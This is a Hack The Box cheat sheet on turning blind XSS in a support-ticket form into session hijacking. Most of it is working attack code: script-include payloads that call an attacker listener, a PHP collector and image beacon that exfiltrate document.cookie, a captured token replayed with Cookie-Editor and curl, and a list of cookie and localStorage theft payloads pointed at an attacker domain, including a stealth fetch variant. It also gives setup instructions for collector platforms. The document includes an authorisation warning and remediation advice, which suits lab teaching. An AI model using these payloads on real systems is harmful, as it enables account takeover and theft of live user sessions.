Blind XSS to Session Hijacking — HTB Cheat Sheet

Summary

Blind cross-site scripting is stored XSS that fires inside an interface you never see, most often a support agent or administrator panel that renders attacker-controlled input. Because the execution happens out of band, you confirm it with a callback rather than a visible alert. The reliable Hack The Box chain is to inject a probe that phones home, prove the payload runs, upgrade it to a two-file collector that exfiltrates document.cookie, capture the victim’s session token, then replay that token with a cookie editor to inherit the victim’s authenticated session. This note is the field-ready version of the support.inlanefreight.local ticket walkthrough, generalised so any blind-XSS-to-hijack path can be reproduced from it. It complements Cross-Site Scripting (XSS) - HTB Cheat Sheet, which covers reflected, stored, and DOM contexts more broadly.

[!danger]+ Authorisation Boundary

1. Run these procedures only against Hack The Box, intentionally vulnerable labs, or systems you own and are explicitly authorised to test.
2. A captured session cookie is live credential material. Treat it as such, use lab-only collector infrastructure, and delete cookies.txt and any stored tokens when the exercise ends.
3. Hijacking a real user’s session without authorisation is unauthorised access under laws such as the UK Computer Misuse Act. Keep it in the lab.
4. XSS executes inside a browser. It does not by itself give you an operating-system shell on the target.

The Attack Chain

Figure 1: The full out-of-band chain, from ticket injection to cookie replay. Attacker actions on the left, the unseen victim agent on the right.

Conceptual Information

[!info]+ Why It Is Called “Blind”

1. Blind means the injection point and the execution point are different surfaces. You submit into a customer ticket, the payload runs later inside the staff console.
2. You never see the resulting DOM directly, only the side effect: an inbound request to infrastructure you control.
3. This is why detection is out-of-band (OOB). The proof is a network callback, not an on-screen alert().
4. Classic sinks: support and contact tickets, admin user lists, log viewers, moderation queues, exported reports, and any “an internal user will review this” workflow.

[!info]+ Why the Cookie Is Enough

1. Session cookies are bearer tokens. Whoever presents a valid session= value is treated as that user until it expires or is revoked.
2. If the cookie is not marked HttpOnly, JavaScript can read it via document.cookie, which is exactly what blind XSS gives you.
3. Replaying the token needs no password and bypasses MFA, because MFA is evaluated at login, not on every request.
4. See Session hijacking and MITRE ATT&CK T1539 — Steal Web Session Cookie.

[!tip]+ Fast Chain Overview

1. Probe with nc to prove OOB execution before building anything heavy.
2. Upgrade to script.js + index.php so you capture the token, not just a ping.
3. Use new Image().src for exfiltration so the request is fire-and-forget and does not need a visible element.
4. Hijack with Cookie-Editor rather than crafting raw requests, because it is faster and survives redirects.

Tools Overview

[!info]+ Netcat Overview

1. Minimal TCP listener used as a first, disposable OOB catcher.
2. Proves that an injected resource was requested, confirming blind execution.
3. Does not return a valid HTTP response, so the victim browser may hang, which is why it is only a first probe.

[!info]+ PHP Built-in Server Overview

1. php -S gives a quick, disposable web server with no Apache or Nginx setup.
2. It can execute index.php, letting you log captured cookies to a file server-side.
3. Ideal for a short-lived two-file collector that both serves the payload and records the loot.

[!info]+ Cookie-Editor Overview

1. Browser extension for viewing, adding, editing, and deleting cookies for the current site.
2. Used to inject the stolen session value into your own browser to hijack the session.
3. Handles the domain, path, and flags for you, which is faster than scripting Set-Cookie by hand.

[!info]+ Interactsh Overview

1. Hosted OOB interaction service that catches DNS, HTTP, and SMTP callbacks.
2. Gives a persistent record of every interaction with far less setup than self-hosting nc or php -S.
3. Best when running many blind-injection tests across a large scope at once. See Blind XSS Tool - Interactsh.

[!info]+ Burp Suite Overview

1. Burp Collaborator is the commercial equivalent of Interactsh, integrated into the scanner and Repeater.
2. Repeater lets you resubmit the injection one controlled change at a time.
3. Useful when the ticket form needs authentication, CSRF tokens, or multi-step submission.

Commands and Implementation

1. Confirm Blind XSS with a Simple Listener

Inject a script include that points at a listener you control, then watch for the hit.

"><script src=http://10.10.14.213:9000/TESTING_THIS</script>

nc -lvnp 9000

listening on [any] 9000 ...
connect to [10.10.14.213] from (UNKNOWN) [10.129.203.101] 56202
GET /TESTING_THIS%3C/script HTTP/1.1
Host: 10.10.14.213:9000
User-Agent: HTBXSS/1.0

[!info]+ Command Breakdown

1. ">: Breaks out of the current HTML attribute or tag context so the <script> is parsed as markup.
2. <script src=...>: Loads a remote script, so any render of the ticket triggers a request to your host.
3. nc -lvnp 9000: Listen (-l), verbose (-v), no DNS (-n), on port (-p) 9000.
4. The callback: The inbound GET from 10.129.203.101 (the victim) proves the payload executed somewhere out of band. This is the blind XSS hit.
5. Interpretation: confirmation only. The listener proves execution but does not yet give you anything useful. Note the User-Agent: HTBXSS/1.0 and the %3C — the browser URL-encoded the < of your closing tag.

[!warning]+ The Closing-Tag Gotcha

1. nc does not return a valid HTTP response, so <script src> may error and the browser can hang.
2. The %3C/script in the log shows the parser mangled the closing tag. For reliable execution and clean exfiltration, prefer a real server and an Image()-based payload (below).
3. Treat this step as a smoke test, then immediately upgrade to the collector.

2. Build the Two-File Cookie Collector

Create index.php to log incoming cookies server-side.

<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>

Create script.js to grab and exfiltrate the cookie from the victim’s browser.

new Image().src='http://10.10.14.213:9200/index.php?c='+document.cookie

[!info]+ Collector Breakdown

1. $_GET['c']: The cookie string arrives in the c query parameter set by script.js.
2. explode(";", ...): Splits multiple cookies so each is logged on its own line.
3. urldecode(...): Reverses the URL encoding the browser applied in transit.
4. fputs(... "a+"): Appends Victim IP | Cookie to cookies.txt so repeat hits accumulate.
5. new Image().src=...: Creates an off-DOM image whose source is your collector plus the cookie. The browser fires the request immediately with no visible element and no user interaction.
6. Interpretation: script.js runs in the victim, index.php records the result on your host. Two files, one clean capture.

3. Serve the Collector

sudo php -S 0.0.0.0:9200

[!info]+ Command Breakdown

1. sudo: Binding low ports or writing cookies.txt in a root-owned path may need elevation. Ports above 1024 usually do not, so drop sudo where you can.
2. -S 0.0.0.0:9200: Starts the built-in server on all interfaces, port 9200, so the HTB VPN interface is reachable.
3. 0.0.0.0: Listens on every local interface, including tun0. Binding to 127.0.0.1 would make the target unable to reach you.
4. Keep the shell open. Every callback is printed live and appended to cookies.txt.

4. Inject the Upgraded Payload and Capture the Cookie

"><script src=http://10.10.14.213:9200/script.js></script>

sudo php -S 0.0.0.0:9200

[Tue Jun 21 00:33:27 2022] PHP 7.4.28 Development Server (http://0.0.0.0:9200) started
[Tue Jun 21 00:33:42 2022] 10.129.203.101:40102 Accepted
[Tue Jun 21 00:33:42 2022] 10.129.203.101:40102 [200]: (null) /script.js
[Tue Jun 21 00:33:43 2022] 10.129.203.101:40104 [500]: GET /index.php?c=session=fcfaf93ab169bc943b92109f0a845d99

[!success]+ What the Log Shows

1. /script.js: The victim’s browser fetched your exfiltration script. Execution confirmed.
2. GET /index.php?c=session=fcfaf93ab169...: The follow-up request carries the agent’s live session cookie. This is the loot.
3. The “: index.php may error after logging (for example on a missing response), which is harmless — check cookies.txt, the value is already written.
4. You now hold session=fcfaf93ab169bc943b92109f0a845d99, exactly what is needed to impersonate that session.

cat cookies.txt
Victim IP: 10.129.203.101 | Cookie: session=fcfaf93ab169bc943b92109f0a845d99

5. Hijack the Session with Cookie-Editor

[!example]+ Session Replay Steps

1. Browse to the target application in your own browser and open Cookie-Editor from the toolbar.
2. Find or create the session cookie for the target domain.
3. Paste the stolen value fcfaf93ab169bc943b92109f0a845d99 into the cookie’s value field and save.
4. Match the original Domain, Path (usually /), and flags where the app is strict about them.
5. Refresh the page. The application now treats you as the victim, dropping you into their authenticated session with no password and no MFA prompt.

[!tip]+ Command-Line Alternative

1. If you prefer curl, replay the token directly: curl -b "session=fcfaf93ab169bc943b92109f0a845d99" http://TARGET/admin/.
2. Cookie-Editor is usually faster on HTB because it survives client-side redirects and renders the authenticated UI for screenshots.

6. Optional — Hosted OOB Catcher with Interactsh

For large scopes, swap the self-hosted listener for a hosted catcher that keeps a persistent log.

interactsh-client -v

[!info]+ Command Breakdown

1. Generates a unique *.oast.fun (or self-hosted) domain that catches DNS, HTTP, and SMTP callbacks.
2. Inject with the generated host, for example "><script src=https://YOURID.oast.fun/x.js></script>.
3. Every interaction is timestamped and correlated, which beats scrolling nc output when many payloads are in flight.
4. Burp Collaborator is the equivalent inside Burp Suite. See Blind XSS Tool - Interactsh.

7. PayloadsAllTheThings Payload Variants

The PayloadsAllTheThings XSS Injection README, under Proof of Concept and Data Grabber, is the canonical payload reference for this chain. It hands you the one-liners and the same grabber.php idea, but it is a payload dump, not a walkthrough, so the steps above are how you actually run them. The variants below all map onto stages 1, 2, and 4 of this note.

<!-- Remote-script includes (stage 1/4): pull your collector from an external host -->
"><script src="https://js.rip/[ATTACKER.DOMAIN.TLD]"></script>
"><script src=//[ATTACKER.DOMAIN.TLD]></script>
<script>$.getScript("//[ATTACKER.DOMAIN.TLD]")</script>

<!-- Fire-and-forget image beacon (preferred): no visible element, no interaction -->
<script>new Image().src="http://[ATTACKER.DOMAIN.TLD]/cookie.php?c="+document.cookie;</script>

<!-- localStorage bearer-token theft: use when the session lives in a JWT, not a cookie -->
<script>new Image().src="http://[ATTACKER.DOMAIN.TLD]/cookie.php?c="+localStorage.getItem('access_token');</script>

<!-- Navigation-based exfil (louder, redirects the victim away): fallback only -->
<script>document.location='http://[ATTACKER.DOMAIN.TLD]/grabber.php?c='+document.cookie</script>

<!-- fetch() POST exfil (stealthiest): cookie rides the body, stays out of access logs -->
<script>
fetch('https://[ATTACKER.DOMAIN.TLD]', { method: 'POST', mode: 'no-cors', body: document.cookie });
</script>

[!info]+ Variant Breakdown

1. Remote-script includes: js.rip, protocol-relative //host, and jQuery $.getScript() are three ways to load your collector. Use protocol-relative when the target is HTTPS so the include is not blocked as mixed content.
2. new Image().src: The preferred exfil. Off-DOM, fires instantly, no user interaction, matches stage 4 of this note.
3. localStorage.getItem('access_token'): Many modern apps store a JWT or bearer token in localStorage rather than a cookie. When document.cookie comes back empty because of HttpOnly, this often still works and the token is just as good for hijacking.
4. document.location='...': Works, but navigates the victim’s browser away from the page, which is noisy and can alert the agent. Treat it as a fallback.
5. fetch(..., {method:'POST', mode:'no-cors', body: document.cookie}): The stealthiest option. The cookie travels in the POST body instead of the URL query string, so it never lands in server access logs. no-cors lets the request fire cross-origin without a preflight.
6. All of these need a collector listening. Point them at the php -S server from step 3, or at one of the platforms below.

[!tip]+ Matching Grabber for the PATT Payloads

1. PayloadsAllTheThings ships this minimal grabber, functionally the same as the index.php in step 2:

<?php
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>

2. Serve it with php -S as in step 3, or with PATT’s Ruby one-liner: ruby -run -ehttpd . -p8080.
3. For fetch() POST exfil, read php://input instead of $_GET['c'] because the cookie arrives in the request body.

Blind XSS Collector Platforms

The nc and php -S collectors above are perfect for a single HTB ticket. For anything larger, or when you want screenshots, the rendered DOM, the victim IP, and the referring page captured automatically, use a dedicated blind XSS platform. This is where the tool the question asked about, XSS Hunter Express, fits, along with its successors.

[!warning]+ XSS Hunter Express Is Archived

1. The original hosted xsshunter.com service shut down in 2023.
2. The self-hosted xsshunter-express was archived on 22 April 2024 and is read-only. It still runs, but it is built on end-of-life Node 12, so it is not the one to start a fresh setup on.
3. The maintained successor is xsshunter-go, a Go rewrite by the same author. For a full-featured PHP option, ezXSS is the current community favourite.
4. Recommendation: reach for ezXSS or xsshunter-go for a new self-hosted collector, and keep Interactsh or Burp Collaborator for lightweight OOB confirmation.

Recommended — ezXSS Setup

ezXSS is a self-hosted PHP platform that captures full-page screenshots, the page DOM, the origin and referrer, the victim IP and user agent, and all non-HttpOnly cookies, presented in a searchable dashboard. It is the most feature-complete self-hosted option in active development.

[!important]+ Prerequisites

1. A web server with PHP and a MySQL or MariaDB database, or Docker.
2. A domain or subdomain you control pointing at the server, ideally short so payloads stay compact.
3. TLS on that domain, because HTTPS targets will refuse an HTTP callback as mixed content.

# Docker path (fastest)
git clone https://github.com/why/ezXSS.git
cd ezXSS
docker compose up -d
# then browse to https://YOURDOMAIN/manage/ and complete the installer

[!info]+ Setup Breakdown

1. Clone and start: docker compose up -d brings up the app and its database.
2. Installer: Visit /manage/ on first run to set your admin password and alert email, then delete or lock the installer as prompted.
3. Manual alternative: Drop the files in your web root, create a MySQL database, set the credentials in /src/Configuration.php, run the installer at /manage/, then remove it.
4. DNS + TLS: Point an A record at the box and terminate HTTPS (Let’s Encrypt via a reverse proxy such as Caddy or Traefik is simplest).
5. After setup, the dashboard generates your payloads. See your fuller notes at Blind XSS Tool - ezXSS.

[!example]+ Using ezXSS

1. In the dashboard, copy a generated payload, for example "><script src=https://YOURDOMAIN/PAYLOADID></script>.
2. Inject it into the stored field exactly as in step 1 of this note.
3. When the agent renders it, ezXSS records a report with the screenshot, DOM, cookies, and localStorage.
4. Lift the session cookie or bearer token from the report and hijack with Cookie-Editor as in step 5.

Alternative — xsshunter-go Setup

xsshunter-go is the maintained successor to XSS Hunter Express, deployed as a single Docker container with SQLite by default.

# docker-compose.yaml (minimal)
services:
  xsshunter:
    image: adamjsturge/xsshunter-go:latest
    ports:
      - "1449:1449"
    environment:
      - CONTROL_PANEL_ENABLED=true
      - DOMAIN=https://xss.YOURDOMAIN.tld
    volumes:
      - ./db:/app/db/
      - ./screenshots:/app/screenshots/

docker compose up -d

[!info]+ Setup Breakdown

1. DOMAIN: The hostname baked into generated payloads. Point DNS at the server and terminate TLS in front of it.
2. CONTROL_PANEL_ENABLED: Turns on the admin dashboard where you read reports and copy payloads.
3. TLS: The README ships a Traefik plus Let’s Encrypt example for automatic HTTPS. A reverse proxy handles certificates cleanly.
4. Storage: SQLite by default, or set DATABASE_URL for PostgreSQL. Screenshots persist in the mounted volume.
5. Notifications: NOTIFY supports Discord, Slack, and Telegram via shoutrrr, so a fired payload pings you.
6. Inject and hijack exactly as with ezXSS. Cross-reference Blind XSS Tool - XSS Hunter.

What to Watch Out For

[!warning]+ HttpOnly Is the Main Blocker

1. document.cookie cannot read cookies flagged HttpOnly. An empty capture does not mean XSS failed.
2. When the session cookie is HttpOnly, pivot to XSS-driven actions (change email, create an admin, perform a request as the victim) rather than token theft.
3. Mixed content also bites: an HTTPS target may block an HTTP collector. Use an HTTPS catcher for HTTPS victims.

Troubleshooting

[!failure]+ No Callback At All

1. Open your own collector URL from the HTB browser to confirm DNS, routing, and that the listener is on the tun0-reachable interface.
2. Confirm the injected field is actually reviewed by staff or a background job, and give scheduled jobs time to run.
3. Try a plain <img src=http://YOU/probe> before a <script src> to separate “reaches the renderer” from “executes script”.

[!failure]+ Script Loads but No Cookie Arrives

1. Verify script.js uses document.cookie and points at the right host and port.
2. Check the target’s Content-Security-Policy for connect-src/img-src limits in the browser console.
3. The session cookie is almost certainly HttpOnly. Confirm in devtools and switch to an action-based payload.

[!failure]+ Cookie Replays but Session Is Not Authenticated

1. Confirm the cookie name is exact (session, PHPSESSID, connect.sid, and so on).
2. Match Domain and Path precisely in Cookie-Editor.
3. Some apps bind the session to a user-agent or IP fingerprint; align your request or accept that theft is mitigated.

Remediation

1. Encode on output for the exact context so stored input in the agent view is rendered as text, not markup. This is the root fix.
2. Set HttpOnly on session cookies so document.cookie cannot read them, defeating token exfiltration.
3. Set Secure and a strict SameSite to limit where cookies travel and reduce replay surface.
4. Bind sessions to context (rotate on privilege change, tie to a fingerprint, enforce idle and absolute timeouts) so a stolen token has a short useful life.
5. Deploy a Content-Security-Policy with script-src nonces or hashes and no unsafe-inline to block injected and remote scripts.
6. Sanitise stored HTML with a maintained allowlist library such as DOMPurify, and do not mutate the result afterwards.
7. Restrict outbound egress from staff consoles so exfiltration callbacks cannot leave the network.
8. Enable Trusted Types where supported to lock down dangerous DOM sinks in the admin interface.

Evidence and Reporting Checklist

1. Record the injection point (URL, method, field) and the account and role that rendered the payload.
2. Save the exact injected payload, the collector source, and the raw callback log line.
3. Capture cookies.txt (redacted as policy requires) showing the stolen token and victim IP.
4. Screenshot the authenticated session after replay to prove impact, not just execution.
5. State clearly whether the cookie was HttpOnly and how that affected the outcome.
6. Delete cookies.txt, stored payloads, and any replayed tokens when the engagement ends.

Lessons Learned

1. Confirmation and impact are separate claims. A nc callback proves blind execution; only a captured, replayed cookie proves session hijack. Report them distinctly.
2. new Image().src beats a closing <script> tag for exfiltration, because it is fire-and-forget and avoids the URL-encoding and hang problems seen with nc.
3. php -S is the sweet spot for a lab collector: it both serves the payload and runs index.php to log the loot, with zero Apache setup.
4. HttpOnly is the single control that most often kills this chain. When token theft fails, pivot to performing actions as the victim instead of stealing the cookie.
5. Hosted catchers scale. For wide scopes, Interactsh or Burp Collaborator replace a wall of nc windows with one correlated, timestamped log.

References

1. OWASP — Cross Site Scripting Prevention Cheat Sheet
2. OWASP — Session hijacking attack
3. PortSwigger — Exploiting cross-site scripting to steal cookies
4. MITRE ATT&CK T1539 — Steal Web Session Cookie
5. MDN — Set-Cookie: HttpOnly and Secure
6. PHP — Built-in web server
7. PayloadsAllTheThings — XSS Injection
8. ezXSS
9. xsshunter-go
10. xsshunter-express (archived)
11. Interactsh
12. Cookie-Editor
13. Cross-Site Scripting (XSS) - HTB Cheat Sheet
14. Blind XSS Tool - Interactsh
15. Blind XSS Tool - ezXSS
16. Blind XSS Tool - XSS Hunter